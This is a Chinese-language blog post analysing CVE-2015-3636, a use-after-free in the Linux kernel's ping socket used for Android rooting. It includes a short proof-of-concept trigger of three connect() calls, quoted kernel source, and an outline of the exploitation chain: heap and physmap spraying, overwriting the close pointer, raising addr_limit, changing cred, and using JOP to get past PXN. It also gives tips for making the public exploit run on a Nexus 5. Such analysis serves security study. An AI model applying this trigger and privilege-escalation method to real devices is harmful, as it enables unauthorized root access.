2016-03-09

CVE-2015-3636内核漏洞分析

漏洞简介

Linux kernel的ping套接字实现上存在释放后重利用漏洞,x86-64架构的本地用户利用此漏洞可造成系统崩溃,非x86-64架构的用户可提升其权限,pingpongroot就是利用该漏洞达到提权的效果,现在android-6.0以下的手机root工具靠的就是这个漏洞。

漏洞分析

详细的分析参考KeenTeam这篇文章Own your Android! Yet Another Universal Root

漏洞POC很简单,如下:

int sockfd= socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);  // refcount =1;       
structsockaddr addr = { .sa_family = AF_INET };
int ret =connect(sockfd, &addr, sizeof(addr));  // refcount ++;  创建hash
structsockaddr _addr = { .sa_family = AF_UNSPEC };
ret =connect(sockfd, &_addr, sizeof(_addr));  //删除hash;refcount --;
ret =connect(sockfd, &_addr, sizeof(_addr)); // bug导致继续删除hash;refcount --; refcount

简单的说就是当用户用ICMP socket和AF_UNSPEC为参数调用connect()时,系统会直接跳到disconnect(),删除当前sock对象的hash,并且让refcount递减一次,删除hash过程的代码:

void ping_unhash(struct sock *sk)
{
 struct inet_sock *isk = inet_sk(sk);
 pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
 if (sk_hashed(sk)) {
  write_lock_bh(&ping_table.lock);
  hlist_nulls_del(&sk->sk_nulls_node);
  sock_put(sk);
  isk->inet_num = 0;
  isk->inet_sport = 0;
  sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
  write_unlock_bh(&ping_table.lock);
 }
}

第一次调用hlistnullsdel删除hash后会将hlistnode.pprv=0x200200,然后再用相同的参数再调用一次connect(),因为hash已经被删除了,此时if语句应该返回FALSE,但是由于hlistnode.pprv = 0x200200 != null导致sk_hashed(sk)返回TRUE,导致refcount被多减了一次。因此,攻击者只需要创建一个ICMP socket,连续调用3个connect()(第一个connect()用来生成hash),就可以把refcount置为0,从而释放sock对象导致UAF。

如何构造poc

ping_unhash 调用来源

struct proto ping_prot = {
    .name =        "PING",
    .owner =    THIS_MODULE,
    .init =        ping_init_sock,
    .close =    ping_close,
    .connect =    ip4_datagram_connect,
    .disconnect =    udp_disconnect,
    .setsockopt =    ip_setsockopt,
    .getsockopt =    ip_getsockopt,
    .sendmsg =    ping_v4_sendmsg,
    .recvmsg =    ping_recvmsg,
    .bind =        ping_bind,
    .backlog_rcv =    ping_queue_rcv_skb,
    .hash =        ping_hash,
    .unhash =    ping_unhash,                    // !!!!!!!!!
    .get_port =    ping_get_port,
    .obj_size =    sizeof(struct inet_sock),
};

ping_prot

static struct inet_protosw inetsw_array[] =
{
    ...
       {
        .type =       SOCK_DGRAM,
        .protocol =   IPPROTO_ICMP,
        .prot =       &ping_prot,
        .ops =        &inet_dgram_ops,
        .no_check =   UDP_CSUM_DEFAULT,
        .flags =      INET_PROTOSW_REUSE,
       },
    ...
};

所以创建的socket为socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

ping_prot.unhash调用来源

int udp_disconnect(struct sock *sk, int flags)
{
    struct inet_sock *inet = inet_sk(sk);
    /*
     *    1003.1g - break association.
     */
 
    sk->sk_state = TCP_CLOSE;
    inet->inet_daddr = 0;
    inet->inet_dport = 0;
    sock_rps_reset_rxhash(sk);
    sk->sk_bound_dev_if = 0;
    if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
        inet_reset_saddr(sk);
 
    if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
        sk->sk_prot->unhash(sk);        // !!!!!!!!!!!!!!!!
        inet->inet_sport = 0;
    }
    sk_dst_reset(sk);
    return 0;
}

ping_prot.disconnect调用来源

int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,
               int addr_len, int flags)
{
    struct sock *sk = sock->sk;
 
    if (addr_len < sizeof(uaddr->sa_family))
        return -EINVAL;
    if (uaddr->sa_family == AF_UNSPEC)        // !!!!!!!!!!!!!
        return sk->sk_prot->disconnect(sk, flags);
 
    if (!inet_sk(sk)->inet_num && inet_autobind(sk))
        return -EAGAIN;
    return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);
}

uaddr->sa_family == AF_UNSPEC 时调用disconnect.

sk->skuserlocks赋值SOCKBINDPORT_LOCK的引用

int ping_bind(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{
    struct inet_sock *isk = inet_sk(sk);
    unsigned short snum;
    int err;
    int dif = sk->sk_bound_dev_if;
 
    err = ping_check_bind_addr(sk, isk, uaddr, addr_len);
    if (err)
        return err;
 
    lock_sock(sk);
 
    err = -EINVAL;
    if (isk->inet_num != 0)
        goto out;
 
    err = -EADDRINUSE;
    ping_set_saddr(sk, uaddr);
    snum = ntohs(((struct sockaddr_in *)uaddr)->sin_port);        // snum 端口号
    if (ping_get_port(sk, snum) != 0) {
        ping_clear_saddr(sk, dif);
        goto out;
    }
 
    pr_debug("after bind(): num = %d, dif = %d\n",
         (int)isk->inet_num,
         (int)sk->sk_bound_dev_if);
 
    err = 0;
    if ((sk->sk_family == AF_INET && isk->inet_rcv_saddr) ||
        (sk->sk_family == AF_INET6 &&
         !ipv6_addr_any(&inet6_sk(sk)->rcv_saddr)))
        sk->sk_userlocks |= SOCK_BINDADDR_LOCK;
 
    if (snum)                                                                                 // !!! 如果存在端口号
        sk->sk_userlocks |= SOCK_BINDPORT_LOCK;            // !!!!!!!!!!!!! 赋值
    isk->inet_sport = htons(isk->inet_num);
    isk->inet_daddr = 0;
    isk->inet_dport = 0;
 
#if IS_ENABLED(CONFIG_IPV6)
    if (sk->sk_family == AF_INET6)
        memset(&inet6_sk(sk)->daddr, 0, sizeof(inet6_sk(sk)->daddr));
#endif
 
    sk_dst_reset(sk);
out:
    release_sock(sk);
    pr_debug("ping_v4_bind -> %d\n", err);
    return err;
}

所以bind时不能指定端口号 c struct sockaddr_in sa = { 0 }; sa.sin_family = AF_INET; bind(sk, &sa, sizeof(sa));

漏洞利用思路

  1. 填充PING socket objects,覆盖close指针。
  2. 调用close(sockfd)获取控制权。
  3. 泄漏内核栈获取thread_info结构。
  4. 修改threadinfo.addrlimit值为0xffffffff。
  5. 修改thread_info.task.cred提权。
  6. 由于0x200200地址并没有map,所以最开始要先在该地址map内存防止程序崩溃。

在内核空间中,physmap和SLABs一般会处于不同的地方,physmap位于相对较高的地址,SLABs位于相对较低的地址,由于内核空间里physmap和SLABs靠得很近,可以通过先创建大量的socket对象抬高SLAB地址,exp中会先获取单个进程可创建的最大socket数maxfds,然后循环每个进程创建maxfds个正常的socket然后加上一个漏洞的vulsocket,最终生成了65000个正常的socket加上16个vulsocket。

然后在用户空间不断map内存把数据映射到physmap,通过特殊标记判断内核空间physmap是否和SLAB重叠。 如何判断targeting vulnerable PING sock objects已经被physmap中的数据给覆盖? 每喷一个数据块,就调用一次targeting vulnerable PING sock objects的ioctl(sockfd, SIOCGSTAMPNS, (struct timespec*))函数:

int sock_get_timestampns(struct sock *sk, struct timespec __user *userstamp)
{
    struct timespec ts;
    if (!sock_flag(sk, SOCK_TIMESTAMP))
        sock_enable_timestamp(sk, SOCK_TIMESTAMP);
    ts = ktime_to_timespec(sk->sk_stamp);
    if (ts.tv_sec == -1)
        return -ENOENT;
    if (ts.tv_sec == 0) {
        sk->sk_stamp = ktime_get_real();
        ts = ktime_to_timespec(sk->sk_stamp);
    }
    return copy_to_user(userstamp, &ts, sizeof(ts)) ? -EFAULT : 0;
}

这个函数将泄漏出sk->sk_stamp这个值,我们可以通过对比这个值和之前填充的值来判断是否已经成功覆盖。

最终效果如下:

如果覆盖成功,将其他正常的socket对象释放掉,然后将vulsocket的sk->skprot->close函数指针覆盖掉,最终调用close函数,内核将调用sk->skprot->close,这个时候,skprot已经完全被控制,即sk_prot->close也被控,最终控制了内核空间的pc寄存器的值,控制了代码的执行流程。

JOP

通过构造JOP绕过PXN保护,关于PXN参考:PXN防护技术的研究与绕过

补丁

漏洞补丁比较简单,删除指针后将指针置NULL。

总结

  1. 源码中查看实socket创建和close流程不容易找到调用关系,可编译goldfish内核进行调试。

  2. 实际在nexus5运行exp并不能触发漏洞,发现抬高过slab内存块之后进行循环map操作,一直没有找到重叠的部分导致while死循环,原因是作者在写exp时保留了系统运行的64M内存,而重叠的部分恰好是在这块内存中,将其尝试变小即可。

  3. 再给的exp中覆盖的close地址为用户空间地址obtain_root_privilege_by_modify_task_cred,该处用来修改线程cred信息并提权操作,在android5.0以后的版本中有PXN保护,并不允许内核执行用户层代码,所以需要构造ROP绕过。构造ROP的思路在KeenTeam的pdf中有详细说明,使用ROP意味着需要将内核栈转移到用户栈空间中,这种行为损坏SP寄存器并带来不确定因素,SP在内核代码执行期间比较关键,任何时候修改破坏是不明智的,所以其中使用的是更稳定的JOP。

  4. 理解SLUB内存管理机制和physmap。

  5. KeenTeam文章中的利用思路,详细说明了为什么不通过sendmmsg()完成堆喷来覆盖,其中的一些思路和想法确实值得深思和学习。

没有评论:

发表评论

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...